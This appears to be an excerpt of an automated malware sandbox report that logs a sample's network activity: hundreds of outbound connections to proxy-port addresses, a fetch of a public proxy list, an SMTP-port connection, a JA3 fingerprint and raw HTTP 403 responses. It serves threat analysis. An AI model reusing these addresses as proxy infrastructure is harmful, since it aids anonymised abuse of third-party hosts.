Source: global traffic	TCP traffic: 192.168.2.4:50062 -> 92.205.185.251:50539
Source: global traffic	TCP traffic: 192.168.2.4:50063 -> 203.112.79.90:8080
Source: global traffic	TCP traffic: 192.168.2.4:50066 -> 93.230.164.47:1234
Source: global traffic	TCP traffic: 192.168.2.4:50067 -> 154.202.96.103:3128
Source: global traffic	TCP traffic: 192.168.2.4:50068 -> 162.214.102.121:29430
Source: global traffic	TCP traffic: 192.168.2.4:50070 -> 152.228.140.225:28119
Source: global traffic	TCP traffic: 192.168.2.4:50072 -> 185.215.160.118:35010
Source: global traffic	TCP traffic: 192.168.2.4:50073 -> 102.176.103.134:8080
Source: global traffic	TCP traffic: 192.168.2.4:50074 -> 107.180.89.55:25508
Source: global traffic	TCP traffic: 192.168.2.4:50075 -> 5.196.111.30:20481
Source: global traffic	TCP traffic: 192.168.2.4:50076 -> 109.127.82.114:5678
Source: global traffic	TCP traffic: 192.168.2.4:50078 -> 173.249.37.45:5005
Source: global traffic	TCP traffic: 192.168.2.4:50077 -> 120.234.203.171:9002
Source: global traffic	TCP traffic: 192.168.2.4:50079 -> 103.234.26.163:9990
Source: global traffic	TCP traffic: 192.168.2.4:50080 -> 200.108.197.2:8080
Source: global traffic	TCP traffic: 192.168.2.4:50082 -> 154.236.179.226:1976
Source: global traffic	TCP traffic: 192.168.2.4:50083 -> 188.164.196.30:49426
Source: global traffic	TCP traffic: 192.168.2.4:50084 -> 154.202.98.133:3128
Source: global traffic	TCP traffic: 192.168.2.4:50087 -> 67.43.236.18:5089
Source: global traffic	TCP traffic: 192.168.2.4:50088 -> 154.202.108.169:3128
Source: global traffic	TCP traffic: 192.168.2.4:50089 -> 45.225.207.183:999
Source: global traffic	TCP traffic: 192.168.2.4:50090 -> 125.87.89.228:8089
Source: global traffic	TCP traffic: 192.168.2.4:50091 -> 213.226.11.149:41878
Source: global traffic	TCP traffic: 192.168.2.4:50093 -> 79.137.204.235:13722
Source: global traffic	TCP traffic: 192.168.2.4:50094 -> 45.181.88.146:4153
Source: global traffic	TCP traffic: 192.168.2.4:50095 -> 49.13.116.170:31602
Source: global traffic	TCP traffic: 192.168.2.4:50099 -> 162.144.36.208:38242
Source: global traffic	TCP traffic: 192.168.2.4:50100 -> 190.232.89.125:5678
Source: global traffic	TCP traffic: 192.168.2.4:50101 -> 87.106.114.124:6005
Source: global traffic	TCP traffic: 192.168.2.4:50102 -> 45.117.179.179:3547
Source: global traffic	TCP traffic: 192.168.2.4:50103 -> 154.202.112.186:3128
Source: global traffic	TCP traffic: 192.168.2.4:50104 -> 138.0.228.185:8080
Source: global traffic	TCP traffic: 192.168.2.4:50105 -> 178.33.252.189:3128
Source: global traffic	TCP traffic: 192.168.2.4:50107 -> 95.165.163.188:60103
Source: global traffic	TCP traffic: 192.168.2.4:50106 -> 162.0.220.222:64731
Source: global traffic	TCP traffic: 192.168.2.4:50109 -> 43.255.113.232:82
Source: global traffic	TCP traffic: 192.168.2.4:50111 -> 92.246.139.112:11945
Source: global traffic	TCP traffic: 192.168.2.4:50112 -> 186.192.195.211:8080
Source: global traffic	TCP traffic: 192.168.2.4:50115 -> 37.53.103.4:3128
Source: global traffic	TCP traffic: 192.168.2.4:50116 -> 112.205.92.14:8080
Source: global traffic	TCP traffic: 192.168.2.4:50117 -> 173.212.240.168:39180
Source: global traffic	TCP traffic: 192.168.2.4:50121 -> 45.229.34.174:999
Source: global traffic	TCP traffic: 192.168.2.4:50124 -> 201.238.248.139:9229
Source: global traffic	TCP traffic: 192.168.2.4:50126 -> 103.162.31.91:33829
Source: global traffic	TCP traffic: 192.168.2.4:50128 -> 83.238.80.17:8081
Source: global traffic	TCP traffic: 192.168.2.4:50130 -> 122.3.41.154:8090
Source: global traffic	TCP traffic: 192.168.2.4:50134 -> 3.122.84.99:3128
Source: global traffic	TCP traffic: 192.168.2.4:50136 -> 72.210.208.101:4145
Source: global traffic	TCP traffic: 192.168.2.4:50138 -> 45.250.215.8:8080
Source: global traffic	TCP traffic: 192.168.2.4:50140 -> 203.110.145.82:63128
Source: global traffic	TCP traffic: 192.168.2.4:50141 -> 190.19.114.104:8080
Source: global traffic	TCP traffic: 192.168.2.4:50142 -> 137.184.22.92:8000
Source: global traffic	TCP traffic: 192.168.2.4:50144 -> 103.143.9.85:8088
Source: global traffic	TCP traffic: 192.168.2.4:50145 -> 148.72.41.47:40350
Source: global traffic	TCP traffic: 192.168.2.4:50146 -> 167.249.29.22:999
Source: global traffic	TCP traffic: 192.168.2.4:50147 -> 103.4.94.2:8080
Source: global traffic	TCP traffic: 192.168.2.4:50149 -> 212.39.114.139:5678
Source: global traffic	TCP traffic: 192.168.2.4:50148 -> 103.221.55.101:8080
Source: global traffic	TCP traffic: 192.168.2.4:50150 -> 201.20.80.113:666
Source: global traffic	TCP traffic: 192.168.2.4:50151 -> 154.202.127.106:3128
Source: global traffic	TCP traffic: 192.168.2.4:50153 -> 190.57.245.250:8080
Source: global traffic	TCP traffic: 192.168.2.4:50155 -> 51.15.241.5:16379
Source: global traffic	TCP traffic: 192.168.2.4:50157 -> 173.249.33.122:49382
Source: global traffic	TCP traffic: 192.168.2.4:50158 -> 181.129.43.3:8080
Source: global traffic	TCP traffic: 192.168.2.4:50160 -> 185.165.46.208:3128
Source: global traffic	TCP traffic: 192.168.2.4:50159 -> 217.219.74.130:8888
Source: global traffic	TCP traffic: 192.168.2.4:50162 -> 103.132.52.210:3128
Source: global traffic	TCP traffic: 192.168.2.4:50164 -> 65.21.255.197:3128
Source: global traffic	TCP traffic: 192.168.2.4:50166 -> 185.171.24.5:18675
Source: global traffic	TCP traffic: 192.168.2.4:50165 -> 68.71.247.130:4145
Source: global traffic	TCP traffic: 192.168.2.4:50169 -> 139.59.149.137:36841
Source: global traffic	TCP traffic: 192.168.2.4:50168 -> 154.202.125.38:3128
Source: global traffic	TCP traffic: 192.168.2.4:50170 -> 179.49.162.133:999
Source: global traffic	TCP traffic: 192.168.2.4:50171 -> 75.119.200.56:46800
Source: global traffic	TCP traffic: 192.168.2.4:50173 -> 212.115.232.79:31280
Source: global traffic	TCP traffic: 192.168.2.4:50174 -> 145.239.2.102:15460
Source: global traffic	TCP traffic: 192.168.2.4:50175 -> 23.152.40.14:3128
Source: global traffic	TCP traffic: 192.168.2.4:50176 -> 222.138.76.6:9002
Source: global traffic	TCP traffic: 192.168.2.4:50177 -> 188.252.14.7:3128
Source: global traffic	TCP traffic: 192.168.2.4:50179 -> 103.26.108.254:84
Source: global traffic	TCP traffic: 192.168.2.4:50180 -> 152.32.187.164:8118
Source: global traffic	TCP traffic: 192.168.2.4:50181 -> 109.73.38.156:1080
Source: global traffic	TCP traffic: 192.168.2.4:50182 -> 94.142.142.140:3128
Source: global traffic	TCP traffic: 192.168.2.4:50183 -> 128.199.252.22:8000
Source: global traffic	TCP traffic: 192.168.2.4:50186 -> 129.154.227.14:3128
Source: global traffic	TCP traffic: 192.168.2.4:50187 -> 216.10.242.18:9735
Source: global traffic	TCP traffic: 192.168.2.4:50189 -> 91.134.140.160:20896
Source: global traffic	TCP traffic: 192.168.2.4:50190 -> 178.236.246.53:3128
Source: global traffic	TCP traffic: 192.168.2.4:50191 -> 98.206.244.30:18301
Source: global traffic	TCP traffic: 192.168.2.4:50192 -> 195.178.197.71:1080
Source: global traffic	TCP traffic: 192.168.2.4:50193 -> 92.255.205.129:8080
Source: global traffic	TCP traffic: 192.168.2.4:50194 -> 184.82.142.201:4153
Source: global traffic	TCP traffic: 192.168.2.4:50195 -> 185.72.225.10:44098
Source: global traffic	TCP traffic: 192.168.2.4:50196 -> 178.165.42.166:3128
Source: global traffic	TCP traffic: 192.168.2.4:50197 -> 45.188.164.48:1994
Source: global traffic	TCP traffic: 192.168.2.4:50199 -> 103.117.109.9:4153
Source: global traffic	TCP traffic: 192.168.2.4:50202 -> 37.156.28.43:3128
Source: global traffic	TCP traffic: 192.168.2.4:50201 -> 5.135.137.13:59124
Source: global traffic	TCP traffic: 192.168.2.4:50203 -> 51.83.230.121:3128
Source: global traffic	TCP traffic: 192.168.2.4:50205 -> 181.233.89.174:999
Source: global traffic	TCP traffic: 192.168.2.4:50207 -> 162.241.66.135:42875
Source: global traffic	TCP traffic: 192.168.2.4:50209 -> 177.131.29.211:4153
Source: global traffic	TCP traffic: 192.168.2.4:50211 -> 47.56.110.204:8989
Source: global traffic	TCP traffic: 192.168.2.4:50214 -> 149.28.141.180:65201
Source: global traffic	TCP traffic: 192.168.2.4:50216 -> 65.21.188.18:8080
Source: global traffic	TCP traffic: 192.168.2.4:50218 -> 200.110.173.17:999
Source: global traffic	TCP traffic: 192.168.2.4:50219 -> 195.30.84.219:34090
Source: global traffic	TCP traffic: 192.168.2.4:50220 -> 103.230.126.123:48359
Source: global traffic	TCP traffic: 192.168.2.4:50221 -> 154.201.62.249:3128
Source: global traffic	TCP traffic: 192.168.2.4:50222 -> 104.164.183.251:3128
Source: global traffic	TCP traffic: 192.168.2.4:50223 -> 162.214.102.195:56755
Source: global traffic	TCP traffic: 192.168.2.4:50224 -> 51.75.126.150:22935
Source: global traffic	TCP traffic: 192.168.2.4:50225 -> 72.10.160.171:6227
Source: global traffic	TCP traffic: 192.168.2.4:50226 -> 164.92.237.188:52306
Source: global traffic	TCP traffic: 192.168.2.4:50227 -> 154.202.121.64:3128
Source: global traffic	TCP traffic: 192.168.2.4:50229 -> 190.52.165.120:8080
Source: global traffic	TCP traffic: 192.168.2.4:50230 -> 186.156.161.235:3128
Source: global traffic	TCP traffic: 192.168.2.4:50231 -> 91.121.89.41:3128
Source: global traffic	TCP traffic: 192.168.2.4:50232 -> 109.205.181.27:50344
Source: global traffic	TCP traffic: 192.168.2.4:50234 -> 190.220.228.147:8080
Source: global traffic	TCP traffic: 192.168.2.4:50235 -> 182.160.110.154:9898
Source: global traffic	TCP traffic: 192.168.2.4:50236 -> 20.205.61.143:8123
Source: global traffic	TCP traffic: 192.168.2.4:50238 -> 58.69.201.117:8082
Source: global traffic	TCP traffic: 192.168.2.4:50240 -> 83.219.145.106:3128
Source: global traffic	TCP traffic: 192.168.2.4:50241 -> 50.63.12.33:50781
Source: global traffic	TCP traffic: 192.168.2.4:50245 -> 103.162.50.13:8080
Source: global traffic	TCP traffic: 192.168.2.4:50246 -> 109.205.243.10:5678
Source: global traffic	TCP traffic: 192.168.2.4:50247 -> 103.78.0.44:3129
Source: global traffic	TCP traffic: 192.168.2.4:50248 -> 41.223.234.116:37259
Source: global traffic	TCP traffic: 192.168.2.4:50249 -> 51.79.87.144:30464
Source: global traffic	TCP traffic: 192.168.2.4:50250 -> 190.61.48.24:999
Source: global traffic	TCP traffic: 192.168.2.4:50252 -> 195.30.84.213:34090
Source: global traffic	TCP traffic: 192.168.2.4:50253 -> 200.24.154.218:999
Source: global traffic	TCP traffic: 192.168.2.4:50254 -> 111.38.73.92:9002
Source: global traffic	TCP traffic: 192.168.2.4:50257 -> 195.158.16.9:3128
Source: global traffic	TCP traffic: 192.168.2.4:50258 -> 103.59.45.89:8080
Source: global traffic	TCP traffic: 192.168.2.4:50259 -> 98.170.57.231:4145
Source: global traffic	TCP traffic: 192.168.2.4:50260 -> 5.104.174.199:23500
Source: global traffic	TCP traffic: 192.168.2.4:50261 -> 77.68.111.73:3128
Source: global traffic	TCP traffic: 192.168.2.4:50264 -> 79.137.36.165:8080
Source: global traffic	TCP traffic: 192.168.2.4:50265 -> 203.161.32.218:52903
Source: global traffic	TCP traffic: 192.168.2.4:50267 -> 152.228.134.212:32148
Source: global traffic	TCP traffic: 192.168.2.4:50269 -> 170.83.246.128:8080
Source: global traffic	TCP traffic: 192.168.2.4:50270 -> 45.73.0.118:5678
Source: global traffic	TCP traffic: 192.168.2.4:50271 -> 2.189.148.1:8080
Source: global traffic	TCP traffic: 192.168.2.4:50272 -> 190.109.72.17:33633
Source: global traffic	TCP traffic: 192.168.2.4:50273 -> 185.51.92.103:51327
Source: global traffic	TCP traffic: 192.168.2.4:50275 -> 191.101.78.207:3128
Source: global traffic	TCP traffic: 192.168.2.4:50274 -> 202.162.219.12:1080
Source: global traffic	TCP traffic: 192.168.2.4:50277 -> 51.195.139.95:24604
Source: global traffic	TCP traffic: 192.168.2.4:50279 -> 162.210.192.135:16489
Source: global traffic	TCP traffic: 192.168.2.4:50282 -> 154.202.98.109:3128
Source: global traffic	TCP traffic: 192.168.2.4:50283 -> 72.167.220.46:15758
Source: global traffic	TCP traffic: 192.168.2.4:50285 -> 193.34.93.221:33861
Source: global traffic	TCP traffic: 192.168.2.4:50286 -> 45.43.71.147:6745
Source: global traffic	TCP traffic: 192.168.2.4:50287 -> 23.95.216.90:15673
Source: global traffic	TCP traffic: 192.168.2.4:50288 -> 85.214.244.174:3128
Source: global traffic	TCP traffic: 192.168.2.4:50290 -> 103.82.233.2:53281
Source: global traffic	TCP traffic: 192.168.2.4:50289 -> 70.32.26.23:36546
Source: global traffic	TCP traffic: 192.168.2.4:50291 -> 132.148.154.97:10958
Source: global traffic	TCP traffic: 192.168.2.4:50293 -> 69.94.136.71:8443
Source: global traffic	TCP traffic: 192.168.2.4:50294 -> 111.225.152.207:8089
Source: global traffic	TCP traffic: 192.168.2.4:50296 -> 95.111.91.50:10801
Source: global traffic	TCP traffic: 192.168.2.4:50297 -> 41.160.23.114:4153
Source: global traffic	TCP traffic: 192.168.2.4:50298 -> 1.15.62.12:5678
Source: global traffic	TCP traffic: 192.168.2.4:50299 -> 96.9.86.218:5678
Source: global traffic	TCP traffic: 192.168.2.4:50300 -> 171.35.172.147:9999
Source: global traffic	TCP traffic: 192.168.2.4:50301 -> 104.200.135.46:4145
Source: global traffic	TCP traffic: 192.168.2.4:50302 -> 118.98.166.56:8080
Source: global traffic	TCP traffic: 192.168.2.4:50304 -> 38.41.53.149:9090
Source: global traffic	TCP traffic: 192.168.2.4:50305 -> 199.102.106.94:4145
Source: global traffic	TCP traffic: 192.168.2.4:50306 -> 154.73.28.89:8080
Source: global traffic	TCP traffic: 192.168.2.4:50307 -> 104.238.100.115:45314
Source: global traffic	TCP traffic: 192.168.2.4:50309 -> 183.100.14.134:8000
Source: global traffic	TCP traffic: 192.168.2.4:50311 -> 45.225.184.177:999
Source: global traffic	TCP traffic: 192.168.2.4:50312 -> 37.187.88.32:8001
Source: global traffic	TCP traffic: 192.168.2.4:50314 -> 219.129.167.82:2222
Source: global traffic	TCP traffic: 192.168.2.4:50315 -> 92.204.135.4:44712
Source: global traffic	TCP traffic: 192.168.2.4:50316 -> 91.203.114.71:42905
Source: global traffic	TCP traffic: 192.168.2.4:50317 -> 111.225.152.100:8089
Source: global traffic	TCP traffic: 192.168.2.4:50319 -> 185.134.99.62:4153
Source: global traffic	TCP traffic: 192.168.2.4:50321 -> 134.236.118.74:4145
Source: global traffic	TCP traffic: 192.168.2.4:50323 -> 190.186.23.99:5678
Source: global traffic	TCP traffic: 192.168.2.4:50324 -> 178.212.196.177:9999
Source: global traffic	TCP traffic: 192.168.2.4:50325 -> 167.71.5.83:3128
Source: global traffic	TCP traffic: 192.168.2.4:50326 -> 80.240.20.183:30002
Source: global traffic	TCP traffic: 192.168.2.4:50328 -> 174.77.111.196:4145
Source: global traffic	TCP traffic: 192.168.2.4:50329 -> 148.72.212.252:50415
Source: global traffic	TCP traffic: 192.168.2.4:50332 -> 107.180.101.226:59810
Source: global traffic	TCP traffic: 192.168.2.4:50335 -> 190.136.50.67:3128
Source: global traffic	TCP traffic: 192.168.2.4:50336 -> 39.165.0.137:9002
Source: global traffic	TCP traffic: 192.168.2.4:50337 -> 103.172.1.35:8080
Source: global traffic	TCP traffic: 192.168.2.4:50338 -> 167.172.159.43:60153
Source: global traffic	TCP traffic: 192.168.2.4:50339 -> 164.92.85.180:23971
Source: global traffic	TCP traffic: 192.168.2.4:50340 -> 181.205.41.210:7654
Source: global traffic	TCP traffic: 192.168.2.4:50341 -> 161.97.74.176:30000
Source: global traffic	TCP traffic: 192.168.2.4:50342 -> 223.25.101.86:5678
Source: global traffic	TCP traffic: 192.168.2.4:50343 -> 162.240.19.133:51226
Source: global traffic	TCP traffic: 192.168.2.4:50344 -> 103.133.223.211:2525
Source: global traffic	TCP traffic: 192.168.2.4:50346 -> 167.99.123.158:59431
Source: global traffic	TCP traffic: 192.168.2.4:50349 -> 91.202.230.219:8080
Source: global traffic	TCP traffic: 192.168.2.4:50350 -> 111.225.153.200:8089
Source: global traffic	TCP traffic: 192.168.2.4:50352 -> 168.196.246.118:8080
Source: global traffic	TCP traffic: 192.168.2.4:50354 -> 123.231.230.58:31196
Source: global traffic	TCP traffic: 192.168.2.4:50356 -> 51.210.183.2:8080
Source: global traffic	TCP traffic: 192.168.2.4:50360 -> 64.202.186.2:44692
Source: global traffic	TCP traffic: 192.168.2.4:50361 -> 178.252.170.222:3128
Source: global traffic	TCP traffic: 192.168.2.4:50362 -> 144.21.53.111:3128
Source: global traffic	TCP traffic: 192.168.2.4:50365 -> 109.238.12.156:29834
Source: global traffic	TCP traffic: 192.168.2.4:50366 -> 149.126.101.162:8080
Source: global traffic	TCP traffic: 192.168.2.4:50371 -> 44.226.167.102:3128
Source: global traffic	TCP traffic: 192.168.2.4:50373 -> 181.209.100.2:999
Source: global traffic	TCP traffic: 192.168.2.4:50376 -> 185.169.181.22:4145
Source: global traffic	TCP traffic: 192.168.2.4:50377 -> 193.106.57.7:33429
Source: global traffic	TCP traffic: 192.168.2.4:50378 -> 186.215.87.194:6025
Source: global traffic	TCP traffic: 192.168.2.4:50379 -> 188.164.193.178:33338
Source: global traffic	TCP traffic: 192.168.2.4:50380 -> 51.210.45.148:3865
Source: global traffic	TCP traffic: 192.168.2.4:50381 -> 80.194.38.106:3333
Source: global traffic	TCP traffic: 192.168.2.4:50382 -> 188.164.196.31:62105
Source: global traffic	TCP traffic: 192.168.2.4:50383 -> 161.97.160.158:5814
Source: global traffic	TCP traffic: 192.168.2.4:50384 -> 46.0.203.140:4890
Source: global traffic	TCP traffic: 192.168.2.4:50385 -> 46.214.153.223:5678
Source: global traffic	TCP traffic: 192.168.2.4:50387 -> 5.9.141.151:30000
Source: global traffic	TCP traffic: 192.168.2.4:50388 -> 191.97.16.160:999
Source: global traffic	TCP traffic: 192.168.2.4:50389 -> 196.251.221.30:8104
Source: global traffic	TCP traffic: 192.168.2.4:50390 -> 103.140.35.11:4145
Source: global traffic	TCP traffic: 192.168.2.4:50391 -> 34.64.104.210:53128
Source: global traffic	TCP traffic: 192.168.2.4:50392 -> 190.61.32.168:6969
Source: global traffic	TCP traffic: 192.168.2.4:50393 -> 185.225.200.247:34041
Source: global traffic	TCP traffic: 192.168.2.4:50394 -> 115.144.163.198:20986
Source: global traffic	TCP traffic: 192.168.2.4:50395 -> 103.37.82.134:39873
Source: global traffic	TCP traffic: 192.168.2.4:50397 -> 72.10.160.172:2955
Source: global traffic	TCP traffic: 192.168.2.4:50398 -> 103.180.198.162:8181
Source: global traffic	TCP traffic: 192.168.2.4:50399 -> 171.4.71.196:8080
Source: global traffic	TCP traffic: 192.168.2.4:50402 -> 186.103.130.94:8080
Source: global traffic	TCP traffic: 192.168.2.4:50405 -> 37.252.13.248:3128
Source: global traffic	TCP traffic: 192.168.2.4:50407 -> 129.213.52.124:3128
Source: global traffic	TCP traffic: 192.168.2.4:50409 -> 45.43.84.163:6788
Source: global traffic	TCP traffic: 192.168.2.4:50411 -> 212.3.112.128:35860
Source: global traffic	TCP traffic: 192.168.2.4:50412 -> 179.1.192.17:999
Source: global traffic	TCP traffic: 192.168.2.4:50413 -> 165.227.196.37:58628
Source: global traffic	TCP traffic: 192.168.2.4:50414 -> 212.5.132.74:5678
Source: global traffic	TCP traffic: 192.168.2.4:50416 -> 116.118.98.21:5678
Source: global traffic	TCP traffic: 192.168.2.4:50417 -> 193.143.1.201:1080
Source: global traffic	TCP traffic: 192.168.2.4:50418 -> 77.37.132.129:8080
Source: global traffic	TCP traffic: 192.168.2.4:50420 -> 115.127.114.209:5020
Source: global traffic	TCP traffic: 192.168.2.4:50422 -> 187.102.208.254:999
Source: global traffic	TCP traffic: 192.168.2.4:50423 -> 177.184.72.22:4145
Source: global traffic	TCP traffic: 192.168.2.4:50424 -> 61.7.183.152:4145

Source: global traffic

HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 5.42.81.57 5.42.81.57
Source: Joe Sandbox View	IP Address: 173.209.66.178 173.209.66.178
Source: Joe Sandbox View	IP Address: 212.110.188.202 212.110.188.202
Source: Joe Sandbox View	IP Address: 24.230.33.96 24.230.33.96
Source: Joe Sandbox View	IP Address: 50.169.37.50 50.169.37.50

Source: Joe Sandbox View

ASN Name: BYTEMARK-ASGB BYTEMARK-ASGB

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

TCP traffic: 192.168.2.4:56001 -> 64.202.191.120:587

Source: unknown	TCP traffic detected without corresponding DNS query: 104.23.141.196
Source: unknown	TCP traffic detected without corresponding DNS query: 107.181.148.187
Source: unknown	TCP traffic detected without corresponding DNS query: 50.172.227.202
Source: unknown	TCP traffic detected without corresponding DNS query: 181.209.113.234
Source: unknown	TCP traffic detected without corresponding DNS query: 41.111.243.18
Source: unknown	TCP traffic detected without corresponding DNS query: 81.17.94.50
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.99.107
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.71.71
Source: unknown	TCP traffic detected without corresponding DNS query: 104.27.122.6
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.221.91
Source: unknown	TCP traffic detected without corresponding DNS query: 68.185.57.66
Source: unknown	TCP traffic detected without corresponding DNS query: 221.231.13.198
Source: unknown	TCP traffic detected without corresponding DNS query: 103.124.198.118
Source: unknown	TCP traffic detected without corresponding DNS query: 212.69.12.121
Source: unknown	TCP traffic detected without corresponding DNS query: 49.0.34.194
Source: unknown	TCP traffic detected without corresponding DNS query: 160.153.245.187
Source: unknown	TCP traffic detected without corresponding DNS query: 96.113.159.162
Source: unknown	TCP traffic detected without corresponding DNS query: 104.238.111.107
Source: unknown	TCP traffic detected without corresponding DNS query: 222.124.130.198
Source: unknown	TCP traffic detected without corresponding DNS query: 184.181.217.201
Source: unknown	TCP traffic detected without corresponding DNS query: 104.35.140.42
Source: unknown	TCP traffic detected without corresponding DNS query: 154.202.123.46
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.253.117
Source: unknown	TCP traffic detected without corresponding DNS query: 102.212.86.57
Source: unknown	TCP traffic detected without corresponding DNS query: 168.227.40.66
Source: unknown	TCP traffic detected without corresponding DNS query: 107.180.101.18
Source: unknown	TCP traffic detected without corresponding DNS query: 103.134.38.89
Source: unknown	TCP traffic detected without corresponding DNS query: 136.243.148.97
Source: unknown	TCP traffic detected without corresponding DNS query: 104.23.141.196
Source: unknown	TCP traffic detected without corresponding DNS query: 104.23.141.196
Source: unknown	TCP traffic detected without corresponding DNS query: 132.148.129.254
Source: unknown	TCP traffic detected without corresponding DNS query: 208.109.13.93
Source: unknown	TCP traffic detected without corresponding DNS query: 95.23.214.53
Source: unknown	TCP traffic detected without corresponding DNS query: 67.43.228.250
Source: unknown	TCP traffic detected without corresponding DNS query: 83.238.80.12
Source: unknown	TCP traffic detected without corresponding DNS query: 192.169.226.96
Source: unknown	TCP traffic detected without corresponding DNS query: 104.27.122.6
Source: unknown	TCP traffic detected without corresponding DNS query: 104.27.122.6
Source: unknown	TCP traffic detected without corresponding DNS query: 125.87.82.86
Source: unknown	TCP traffic detected without corresponding DNS query: 146.190.84.209
Source: unknown	TCP traffic detected without corresponding DNS query: 78.47.35.35
Source: unknown	TCP traffic detected without corresponding DNS query: 117.160.250.132
Source: unknown	TCP traffic detected without corresponding DNS query: 23.122.184.9
Source: unknown	TCP traffic detected without corresponding DNS query: 92.246.139.113
Source: unknown	TCP traffic detected without corresponding DNS query: 91.205.197.226
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.9.218
Source: unknown	TCP traffic detected without corresponding DNS query: 88.199.164.140
Source: unknown	TCP traffic detected without corresponding DNS query: 51.158.105.107
Source: unknown	TCP traffic detected without corresponding DNS query: 137.184.15.145
Source: unknown	TCP traffic detected without corresponding DNS query: 184.181.217.201

Source: global traffic

HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: github.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlServer: Zscaler/6.2Cache-Control: no-cacheAccess-Control-Allow-Origin: *Content-length: 13631Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 68 72 65 65 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:16 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
